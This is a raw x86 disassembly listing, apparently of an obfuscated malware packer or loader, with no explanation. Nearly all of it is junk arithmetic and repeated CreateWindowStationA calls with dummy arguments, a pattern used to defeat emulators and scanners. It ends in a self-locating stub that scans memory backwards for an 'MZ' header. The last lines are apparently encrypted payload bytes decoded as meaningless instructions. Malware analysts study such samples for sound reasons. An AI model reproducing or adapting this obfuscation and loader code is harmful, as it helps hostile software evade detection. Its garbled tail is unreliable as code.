xchg edx, ecx
and eax, 0xffffffee
sub eax, 0xffffff97
mov ah, dl
lea edx, [eax + 0x8c8]
push 0
push 0x88
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x171
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
inc eax
jne 0x402072
add eax, 0x21
dec eax
sub eax, 0xffffff89
lea ecx, [eax + 0x795]
dec eax
mov edx, eax
lea ecx, [ecx + eax]
jmp 0x402079
inc edx
mov eax, 0xcbd6e1b3
inc eax
push 0
push 0x145
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
cmp ebp, 4
je 0x4020ec
xor ecx, ecx
mov eax, 0xdc653e22
test ebp, ebp
je 0x40209c
mov edx, ecx
sub eax, 0xfffffff3
test ecx, ecx
jne 0x4020b8
sub eax, 0xffffffa6
inc eax
mov ecx, eax
lea eax, [edx + 0xae1]
add eax, 0xffffff80
mov ah, al
and eax, 0x7d
inc edx
test ebp, ebp
jne 0x4020bf
sub ecx, 0xffffffd5
lea edx, [edx + ecx*4]
mov edx, eax
shr eax, 8
lea eax, [eax + 0x63]
sub eax, 0x49522b16
add ecx, 0x3d
lea ecx, [ecx + edx*2]
lea ecx, [eax + eax*4]
xchg al, ah
lea ecx, [ecx - 0x1d]
sub eax, 0xffffffe2
inc eax
inc eax
add ecx, 0xffffffb4
lea ecx, [ecx + ecx*2]
mov edx, ecx
add edx, eax
test edx, edx
jne 0x402124
mov ah, 0x55
xor ecx, ecx
mov edx, eax
add al, 0x34
lea edx, [edx + 0x24]
sub ch, 0xa7
je 0x40210c
lea ecx, [ecx + 0x2b1]
add ecx, 0x4a
inc ecx
jmp 0x40210d
inc eax
shl eax, 0xa
cmp eax, ecx
je 0x402119
mov eax, ecx
and dl, 7
dec eax
add ecx, 0xffffff82
xor dl, dl
lea ecx, [ecx - 0x18]
not eax
add eax, 0x7a
lea eax, [ecx + eax*4]
mov ecx, eax
xchg dh, dl
jne 0x402137
sub eax, 0x29
add edx, edx
jmp 0x40213f
sub ecx, 0x23
sub eax, 0x61
dec eax
dec ecx
sub edx, 0x24
mov dl, 0xbb
add edx, 0xffffffb7
and eax, 0xffffff9b
dec eax
cmp ecx, 0x4a
jne 0x40215d
xor eax, ebp
mov ecx, 0x8bf3eeaf
inc edx
add ecx, ecx
add edx, 0x5b
sub edx, 0xffffffd6
and eax, 0xffffffda
shr edx, 0x13
sub edx, 0xdd5070d9
add edx, eax
dec ecx
sub eax, 0xfffffffa
add edx, 0xc
jmp 0x40241d
push 0
push 0xa1
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x117
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x4021cb
mov ecx, eax
add ecx, 0xd
lea eax, [eax + 0x949]
ror eax, 1
add ecx, eax
mov edx, ecx
lea ecx, [eax + 0xa1f]
mov eax, edx
xor dh, dh
inc edx
cmp ecx, esp
je 0x4021c1
dec eax
sub ch, ch
mov ch, dl
mov edx, ecx
lea edx, [ecx + edx*2]
xchg ecx, eax
jmp 0x4021cf
inc ecx
add edx, 0x4e
push 0
push dword [0x4069f0]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x4077f4]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x402291
neg eax
test esp, esp
jne 0x40220f
add eax, 0x4c
lea eax, [eax + 0xba5]
push 0
push 9
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
xor ecx, ecx
test ecx, ecx
jne 0x402237
mov edx, eax
sub ecx, 0xdf4119aa
mov eax, 0xf6c96256
inc eax
test eax, eax
jne 0x402245
add eax, 0x11
inc ecx
and edx, 0xc813063b
and ecx, 0x45
sub al, ah
dec ecx
test eax, eax
je 0x402278
not edx
test ecx, ecx
jne 0x40225c
mov eax, edx
inc eax
add ecx, 0x47
dec edx
sub edx, 0x3e
shr eax, 7
sub ecx, 0x14
dec ecx
lea edx, [edx + 0x5e4]
lea eax, [eax + ecx]
lea eax, [ecx + eax*4]
add ah, 0xd7
xchg edx, ecx
inc ecx
add dl, cl
mov ecx, eax
dec ecx
mov eax, ecx
inc eax
xor ecx, ecx
and edx, 0x18
lea eax, [eax + 0x3c]
mov dx, 0xaf29
jmp 0x402399
push 0
push 0xa9
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
test esp, esp
jne 0x4022e2
dec eax
mov ecx, eax
sub eax, 0x6c
inc ecx
add eax, 0xffffffd9
sub eax, 0xffffffb5
shl ecx, 0xa
test esp, esp
je 0x4022d1
add ecx, eax
lea eax, [eax + 0x106a]
add ecx, 0x58
add eax, 0x5f
mov edx, eax
sub edx, 0x7e
mov eax, ecx
inc edx
inc edx
lea eax, [ecx + eax]
add ecx, 0xffffffa6
xor eax, eax
sub edx, ecx
mov ecx, eax
lea edx, [edx + edx*2]
mov eax, edx
push 0
push 8
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov edx, 0x24bd7e61
push 0
push dword [str.PGUOJhRLH.ini]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push esp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
dec eax
push 0
push dword [0x4075bc]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x28e
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
xor edx, edx
shr eax, 6
cmp eax, 0xfffffff6
jne 0x402375
je 0x402346
mov eax, edx
mov dx, 0xc9bd
mov ecx, edx
jne 0x402362
add eax, 0xffffffd5
xchg edx, eax
sub eax, 0x2f
lea edx, [eax + edx*4]
add al, ah
add eax, 0x7a
not eax
dec edx
jmp 0x40236c
add edx, 0xb
sub ch, 0x3b
rcr ecx, 0x1b
inc edx
add edx, 0x644e376f
sub eax, 0xfffffffb
dec ecx
inc eax
inc eax
mov cx, 0x79f6
cmp eax, 0xffffff92
jne 0x402392
add edx, 0x27
mov eax, edx
dec eax
add ecx, ecx
not edx
add ecx, 0x3e
sub eax, 0xffffffa3
inc eax
dec ecx
and ecx, 3
lea edx, [edx + ecx*4]
and eax, 0x67
mov ecx, 0xd3dc62a1
xor eax, edx
push 0
push ecx
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
lea eax, [eax + 0xc09]
push 0
push str.ULZTNmW2.ini
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov eax, 0xa362e09
mov edx, eax
cmp eax, 0x1c
jne 0x4023d9
xor ecx, ecx
mov eax, ecx
mov ecx, edx
lea edx, [eax + 0xb1c]
lea eax, [ecx + 0x243]
mov ecx, eax
dec eax
je 0x4023f4
dec ecx
sub edx, 0x178db12b
dec eax
jmp 0x4023f5
dec edx
shr eax, 0x1c
dec ecx
add ecx, 0xffffffbd
shl ecx, 0xa
lea eax, [eax + ecx*4]
test edx, edx
jne 0x402410
xor ecx, ecx
mov ax, 0x1556
inc eax
shr eax, 0x10
shr eax, 6
mov edx, 0x8361a7fd
xor ecx, eax
add eax, 0x7d
je 0x402425
inc ecx
add eax, 0xffffffbe
jmp 0x40242e
shr edx, 1
inc eax
sub ecx, 0xe078498e
push 0
push 0x2d4
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 4
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x406b44]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov edx, eax
push 0
push 0x123
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push esp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x406248]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
je 0x4025b0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x406fd4
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x4024ce
mov ecx, eax
sub ecx, 0xa
inc eax
jmp 0x402510
lea ecx, [eax + ecx*2]
jne 0x4024d8
inc eax
sub ecx, esp
jmp 0x4024fc
test esp, esp
jne 0x4024e9
rcl ecx, 0x14
mov edx, eax
lea eax, [edx + 0x5f]
and ecx, 0x6e
xchg ecx, edx
cmp edx, eax
jne 0x4024f3
sub ecx, 0xffffffe0
xor eax, eax
inc ecx
and ecx, 0x64
sub edx, 0x43c09984
inc edx
xor dl, dl
dec ecx
add eax, 0xffffffd2
add eax, 0xffffff85
sub eax, 0x5c
sub ecx, ebp
neg ecx
inc ecx
add edx, ecx
mov ecx, eax
push 0
push 0x6f1
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x881
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x4062c4
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
je 0x402552
mov edx, eax
dec eax
add eax, 0xffffffe8
sub edx, 0x73
jmp 0x402574
shl eax, 6
mov ecx, edx
mov edx, eax
dec edx
mov dx, 0x97ca
add edx, edx
dec eax
and ecx, 0xd046a3f1
or edx, 0xffffffe1
mov cl, ch
and ecx, 0xc
dec edx
dec ecx
add eax, 0x41
dec edx
sub eax, 0xffffff8b
dec eax
add eax, 0x7e
lea edx, [edx + 0x55]
sub edx, eax
sub eax, 0xffffff9f
xor edx, eax
je 0x40258c
mov eax, ecx
jmp 0x40258f
lea ecx, [ecx + 0x5f]
cmp eax, 0xbef851b7
je 0x40259b
add ecx, ecx
sub ch, dh
dec eax
sub edx, ecx
xchg edx, ecx
add eax, 0x33
add ecx, ecx
add edx, 0xffffff9d
and eax, 0xffffff8c
dec edx
jmp 0x40279a
je 0x40263c
add edx, esp
push 0
push 2
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x406d48]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
cmp eax, 0x99d46f37
je 0x4025f3
add eax, 8
mov edx, eax
mov ecx, edx
test edx, edx
jne 0x4025ed
sub eax, 0x7e
add edx, 0x5f
shr ecx, 0x19
shl edx, 9
test edx, edx
jne 0x402600
mov edx, eax
sub edx, 0x44
dec edx
add eax, 0x5d
lea ecx, [ecx - 0x6c]
inc eax
cmp esp, 0xbdc3f4a3
jne 0x40262e
shr ecx, 0x15
add eax, 0x76
add ecx, ecx
sub eax, ebp
sub eax, 0xffffffa1
inc eax
cmp eax, 0x2d
jne 0x402628
sub ecx, 0x1b
add edx, 0xffffffb5
mov eax, ecx
sub ecx, 0x32
dec edx
dec eax
add eax, ebp
sub eax, 0x23
add edx, 0xffffff97
jmp 0x4026d9
push 0
push 0xa1
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [0x407498]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x40690c
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x91
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
test ebp, ebp
jne 0x4026a6
mov edx, eax
cmp eax, ebp
jne 0x40268e
add eax, 8
not eax
add eax, 0x38
mov ecx, eax
mov eax, 0x4537bd0c
sub eax, 0x71
sub eax, 0xffffffc6
inc eax
dec edx
mov cx, 0x793f
and eax, 0x2a
test edx, edx
je 0x4026c8
mov edx, 0x45fbdbd0
shr eax, 0x1d
shl edx, 0x1c
cmp eax, 0x2196349
jne 0x4026c5
lea eax, [eax + 0x4c]
sub edx, eax
dec edx
sub edx, 0x2d
add ecx, 0xffffff80
dec eax
lea eax, [eax - 0x7b]
add edx, 0x28
sub ecx, 0xfc2c9ad0
inc ecx
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov edx, 0xa17808b2
cmp eax, 0x3dffe600
je 0x402752
mov eax, edx
mov ecx, eax
add ch, 0xeb
mov eax, 0xe5982d3
add edx, 0xfef652d1
xor dh, dh
dec edx
test ebp, ebp
je 0x40272c
shl eax, 0xc
add edx, ecx
cmp edx, 0x33
jne 0x402741
xor cx, cx
mov edx, eax
sub ecx, 0xffffff9b
sub ecx, 0xffffffd0
add ecx, ecx
not ecx
dec eax
test edx, edx
je 0x40274d
mov edx, eax
lea edx, [edx + 0xeb2]
mov eax, edx
add edx, edx
inc eax
test cl, cl
je 0x40275c
sub edx, 0x5e
add eax, eax
inc ecx
inc edx
cmp ecx, 0x79ff4a2
jne 0x402773
and eax, 0xa732dcac
add ecx, 0x216478f7
add ecx, 0xffffffbb
mov cx, 0x6a1a
sub eax, 0x7b
add ecx, 0xffffffd0
dec ecx
sub eax, 0xffffffcd
lea eax, [eax + 0xb44]
add edx, 0xffffffe5
cmp eax, 0x34703bc9
jne 0x402797
add ecx, 0x19
and eax, 0x3a
dec ecx
add ecx, ecx
push 0
push 0x407ca8
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x20
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x9f
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, eax
inc ecx
add ch, 0x3b
test eax, eax
jne 0x402968
sub ecx, 0x13
add eax, eax
push 0
push 0x105
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x18
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x101
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x105
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, eax
je 0x402845
lea edx, [eax - 0x64]
add ecx, 0x2c
jmp 0x402853
sub dh, dh
add eax, 0x38
sub ecx, 0xffffff9f
and eax, 0x2f
add ecx, 0x11
lea ecx, [edx + ecx]
push 0
push 0x407d94
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xffffffffffffff88
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push dword [str.u4P.txt]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push eax
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x81
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xae
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
xor eax, eax
push 0
push eax
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
test eax, eax
jne 0x402929
mov ecx, eax
test ecx, ecx
jne 0x4028de
mov edx, eax
mov eax, 0x464732f2
add edx, 0xffffffeb
test esp, esp
je 0x4028f0
neg edx
sub eax, 0xffffff8a
inc edx
mov ecx, 0x9683b68b
shl edx, 0x1e
shr eax, 0x1e
dec edx
not ecx
cmp esp, 0x4ea22515
je 0x402908
neg eax
and ecx, 0xffffffde
dec eax
add eax, 0xffffffc0
test esp, esp
je 0x402929
mov dh, 0x82
mov ax, 0x1c76
xor cl, cl
xchg edx, ecx
lea eax, [edx + eax]
and eax, 0x35
mov edx, 0x987416a
inc eax
test ebp, ebp
je 0x402936
dec edx
neg edx
dec edx
sub eax, 0xffffffc2
add ecx, ecx
inc eax
test eax, eax
je 0x40293e
shl eax, 0x1e
mov ax, 0x6d26
dec ecx
sub edx, eax
cmp esp, 0x7f
jne 0x40294e
dec edx
add eax, 0xffffff8b
inc eax
add eax, 0x14
add edx, edx
sub edx, 0x52
lea eax, [eax + 0x5a4]
cmp edx, eax
je 0x402964
ror eax, 6
mov edx, eax
mov eax, ecx
add edx, 0xffffffdb
xor edx, ebp
push 0
push 0xffffffffffffff82
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
add eax, 0x40
push 0
push dword [0x406910]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
and eax, 0xffffffd1
sub eax, ebp
push 0
push eax
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x86
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov eax, 0x567b6242
push 0
push 0x407ec4
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
test ebp, ebp
je 0x402a33
mov edx, 0x9dd7adbc
xor eax, eax
mov ax, 0xaf16
jne 0x4029e2
lea edx, [edx + 0x2b]
not edx
inc edx
jmp 0x402a04
test ebp, ebp
je 0x4029f0
xor edx, eax
mov eax, edx
mov ecx, 0xca398828
inc eax
lea edx, [ecx + 0x79f]
mov ecx, eax
add ecx, 0xb1b196ca
shr eax, 0x1f
inc ecx
inc ecx
xchg ecx, eax
dec ecx
xchg edx, ecx
add ecx, ecx
jne 0x402a18
add eax, 0xffffffe6
dec edx
add edx, eax
neg edx
lea eax, [eax + 0xb]
jmp 0x402a1c
dec edx
add dh, 0x83
dec eax
add edx, 0xffffffa6
dec ecx
add edx, 0xffffffe3
sub eax, 8
lea edx, [edx + 0x1bb]
add eax, 0xffffffd3
inc eax
add edx, esp
test edx, edx
jne 0x402a50
add eax, ecx
mov ecx, edx
add ch, 0x13
and eax, 0x25
lea edx, [ecx + edx]
mov edx, 0x145f1412
lea ecx, [eax + 0x8f2]
inc eax
add ecx, 0x30
test ebp, ebp
je 0x402aec
sub ecx, 0xffffffaf
push 0
push 6
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov edx, eax
push 0
push str.4gaoESMkgQKlXv
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, eax
push 0
push 0x309
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
and eax, 0x69
cmp ebp, 0xffffffd9
je 0x402aa4
xor ecx, ecx
mov edx, eax
sub ecx, eax
add edx, 0x22
inc eax
ror eax, 0x13
cmp ebp, 0xffffffb1
je 0x402aba
mov cl, ch
add ecx, 0x6b
sub ecx, 0x2c
inc eax
and ecx, 0xffffffa5
dec edx
inc eax
jne 0x402ac2
dec ecx
add eax, 0x51
jmp 0x402ac6
add eax, 0xffffffef
dec ecx
cmp esp, 0x3f
je 0x402ad1
lea edx, [ecx + edx*2]
dec ecx
sub eax, ebp
and eax, 0x49
cmp ecx, eax
je 0x402ae6
mov ecx, 0x5de647ba
neg edx
sub ecx, ebp
mov eax, ecx
add eax, 0xffffffaa
lea edx, [edx + edx*8]
mov ecx, eax
inc edx
dec eax
test edx, edx
je 0x402b38
mov edx, eax
test dl, dl
je 0x402b31
not eax
sub edx, 0x39
je 0x402b20
shl edx, 0x14
xchg ecx, edx
sub edx, 0x51
and eax, 0xffffffe0
cmp edx, eax
je 0x402b1a
mov eax, edx
dec ecx
shr eax, 4
lea eax, [eax + 0xaec]
dec eax
add ecx, 0x23
mov edx, eax
inc edx
add edx, 0x65
mov eax, ecx
inc edx
mov ecx, edx
sub eax, 0x3f
and eax, 0xffffffe5
sub ecx, 0x51
add edx, edx
inc eax
add edx, eax
mov eax, ecx
je 0x402bc6
push 0
push 0x181
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
dec eax
mov ecx, eax
sub ecx, 0xffffffa0
push 0
push 0x87
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
sub eax, 0xfffffff9
je 0x402b70
add eax, 0xfffffffe
jmp 0x402bb7
rcl eax, 1
lea eax, [eax + 0x363]
ror eax, 0x1f
cmp esp, 7
je 0x402ba6
cmp eax, 0x98a6507e
je 0x402b91
dec eax
lea edx, [eax + eax*8]
mov eax, edx
lea eax, [eax + eax]
inc eax
sub eax, 0xffffffdd
xor ecx, ecx
mov dl, 0x61
add edx, eax
add eax, 0xfac5e4f1
dec ecx
add edx, 0xffffffb4
shr eax, 0xd
lea eax, [eax - 0x30]
and eax, 0x24
inc edx
and eax, 0x68
add ecx, 0xffffffda
shl edx, 0x18
dec edx
inc ecx
xchg cl, al
and edx, 0x5c
dec ecx
lea edx, [edx + 0xd]
jmp 0x402cd4
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x402c26
mov eax, 0x88b0aee5
lea edx, [eax + 0x73]
mov eax, edx
add edx, 0xfffffff1
test esp, esp
jne 0x402bfc
mov ecx, 0x6f325180
lea edx, [edx + 0xfb6]
add eax, 0x47
dec edx
dec ecx
lea eax, [eax - 0x7c]
add dl, al
inc edx
xor eax, eax
sub eax, 0x7c
lea edx, [edx + 0x6ed]
dec eax
sub eax, 0x4b
lea eax, [eax + 0x65]
add ah, ah
add edx, 0x58
add al, dh
dec eax
shl edx, 0xd
lea ecx, [ecx + ecx]
lea ecx, [ecx - 0x2f]
lea eax, [eax + 0x1ab]
dec eax
push 0
push 0xe3
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x54
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x81
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov eax, 0xb9651f25
push 0
push 0xa9
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov eax, 0xb194ba60
shr eax, 8
mov al, 0xf6
lea ecx, [eax - 0xe]
xor edx, edx
cmp edx, ecx
jne 0x402c8c
mov ah, 0xd8
je 0x402c8a
and ecx, 0x6248f13e
dec ecx
mov edx, eax
test eax, eax
je 0x402cb3
dec eax
neg ecx
sub eax, 0x78
sub ecx, 0xffffff9b
sub edx, eax
sub eax, 0xffffffe5
add ecx, 0xffffffa0
inc eax
sub eax, 0x58
add edx, ecx
sub dh, ch
cmp eax, ecx
je 0x402cb3
mov ecx, eax
add ecx, ecx
mov eax, ecx
test dl, dl
je 0x402cbd
lea ecx, [eax + 5]
xor edx, edx
dec edx
add eax, 0x7c
dec eax
sub eax, 0x2f
lea ecx, [ecx + 0x2a]
dec eax
sub ecx, 0x3d
sub eax, 0xffffffb1
add ecx, 0x20084f50
push 0
push 0x24
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x5a1
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
cmp eax, 0xfb8b054d
je 0x402f90
push 0
push 0x10
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x402d16
and eax, 0x26
shl eax, 0xc
jmp 0x402d21
inc eax
sub eax, ebp
lea ecx, [eax + 0x8fa]
xor eax, eax
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
lea ecx, [eax - 0x15]
mov eax, ecx
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
add eax, 0xffffffa3
add eax, 0xffffffed
push 0
push str.SRpZzt3fv
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
xor ecx, ecx
neg eax
je 0x402d70
dec eax
add eax, 0xea6fbecf
sub eax, 0xffffff87
and eax, 0x13
mov edx, 0x9e532bf6
jmp 0x402d94
dec eax
test eax, eax
je 0x402d88
dec ecx
mov eax, edx
add ecx, 0x7e
dec eax
inc ecx
neg eax
lea edx, [edx + 0x19c]
sub ecx, 0x36
lea eax, [eax + 0xa]
add ecx, 0x79
add ecx, 0xdca15fc5
push 0
push dword [str.w6ES8kea7ja]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xa
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x25
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x81
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x40616c
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
mov ecx, eax
add ch, 0x87
push 0
push dword [0x406d10]
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x41
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
jne 0x402e21
cmp ebp, 0x90205988
jne 0x402e19
xor edx, edx
mov ecx, edx
mov edx, eax
inc ecx
sub eax, 0x51
mov dl, cl
jmp 0x402e29
sub eax, 0xffffffd8
neg ecx
and ecx, 0xffffffd0
test esp, esp
je 0x402e70
test edx, edx
je 0x402e42
xor edx, edx
test esp, esp
je 0x402e3d
inc edx
sub eax, 0x4c
neg eax
xor cl, cl
xor ax, ax
cmp ebp, 0xffffffe2
jne 0x402e52
lea edx, [edx + ecx*8]
add ecx, 0xfffffffa
shr eax, 1
inc eax
xchg ecx, edx
add ah, cl
xchg dl, ah
mov ecx, eax
add ecx, 0xffffffd7
dec eax
cmp ebp, 0xfffffff1
jne 0x402e67
add ecx, 3
add ax, ax
add edx, 0x67
shl eax, 0x18
sub eax, 0xffffffa5
test ebp, ebp
jne 0x402e7b
inc edx
lea ecx, [ecx + 0xb11]
test edx, edx
je 0x402ea8
mov edx, eax
test dl, dl
je 0x402e8b
add edx, 0xfffffffb
mov eax, ecx
inc ecx
cmp esp, 0x26
je 0x402e95
and ecx, 0x1c
neg edx
add ecx, ecx
lea eax, [eax + ecx]
add ecx, 0x27
sub ecx, 0x20
add dh, dl
lea eax, [ecx + 0x848]
mov ecx, eax
cmp eax, 0x4656d7df
jne 0x402ec1
sub al, 0x6c
and ecx, 0xfa00644b
sub ecx, eax
mov ah, 0x35
mov dh, al
dec eax
dec eax
je 0x402ed5
add dh, 0x77
dec edx
and edx, 0x6a
lea eax, [eax + 0x47d]
and edx, 0xffffffd6
jmp 0x402ed9
mov cx, 0x421a
push 0
push 0x50
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x32
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0xc3
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
push 0
push 0x89
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
test eax, eax
jne 0x402f3e
mov eax, 0x15b9bc60
and eax, 0xffffff9f
sub eax, 0xfffffff9
mov ecx, 0xf4986614
dec eax
sub eax, 0xffffffb0
mov cx, 0x4cb0
inc eax
inc eax
sub ecx, esp
dec ecx
mov edx, ecx
add eax, 0x11
inc eax
je 0x402f47
mov ecx, eax
add ecx, 0xffffffdb
jmp 0x402f58
not eax
add dh, dl
xchg edx, ecx
add ecx, eax
add eax, 0xfffffff2
sub eax, 0xffffffca
shr eax, 0x16
sub eax, 0x10
sub edx, 0xfffffff8
lea eax, [eax + 0x95b]
dec edx
cmp edx, 0x50c9d0a3
je 0x402f72
sub eax, 0xffffff8f
mov edx, eax
add eax, 0x15
sub eax, 0x19
mov ch, 0xf1
test eax, eax
jne 0x402f85
add ecx, 0xfffffff6
neg edx
mov eax, ecx
shr eax, 0x14
add dl, dl
add ecx, 0x36
add ecx, 0xffffffbe
inc eax
push 0
push ebp
push 0
push 0
call dword [sym.imp.USER32.DLL_CreateWindowStationA]
test eax, eax
jne 0x402fd4
xor eax, eax
test ebp, ebp
jne 0x402faa
mov ecx, eax
xor edx, edx
dec edx
sub ecx, 0x31
mov eax, ecx
add edx, 0x62
sub edx, 0x912bcebb
lea ecx, [eax + 0x5c]
dec eax
cmp eax, ebp
je 0x402fc8
dec eax
dec eax
sub edx, 0xffffff91
add edx, 0x5a
add eax, 0x44
lea ecx, [ecx + 0xa05]
xor ecx, eax
sub ecx, 0x24
xor eax, eax
dec eax
test dl, dl
jne 0x402fe3
lea eax, [eax + edx*8]
lea eax, [eax + eax*8]
mov edx, ecx
inc edx
lea edx, [ecx + edx]
lea edx, [ecx + 0xee3]
xchg dl, dh
and ecx, 0x5722c48d
add eax, 0xffffffb1
mov edx, ecx
dec ecx
push ebp
mov ebp, esp
sub esp, 0xd8
pushal
call 0x40300f
pop eax
mov ax, 0
mov bx, 0x5a4d
cmp word [eax], bx
je 0x403024
sub eax, 0x1000
jmp 0x403018
mov dword [ebp - 0x32], eax
call 0x4030ae
push edi
or al, 0x2e
pop ss
jne 0x40309c
xor byte [ebp + 0x3b], ah
and dword [ebp + 0x13], esi
inc edi
adc dword [ebp + 0x20], ecx
add ah, byte [eax]
xor dword [0x4262a37], edx
and dword [ecx], esp
aaa
and byte [esi], dh
inc ebp
or dword [edx], ebp
and al, 0x21
or dword [edi], ebp
aaa
and al, 0x37
cmp al, 4
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
add al, 0x29
sub dword [edx], ebp
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
add esi, dword [edi]
and byte [eax], ah
inc ebp
adc ebp, dword [edi + esi]
xor dword [eax], esi
and al, 0x29
adc eax, 0x20312a37
xor dword es:[ebp + 0x10], eax
sub ebp, dword [eax]
and al, 0x35
adc ebp, dword [eax]
xor cl, byte [edx]
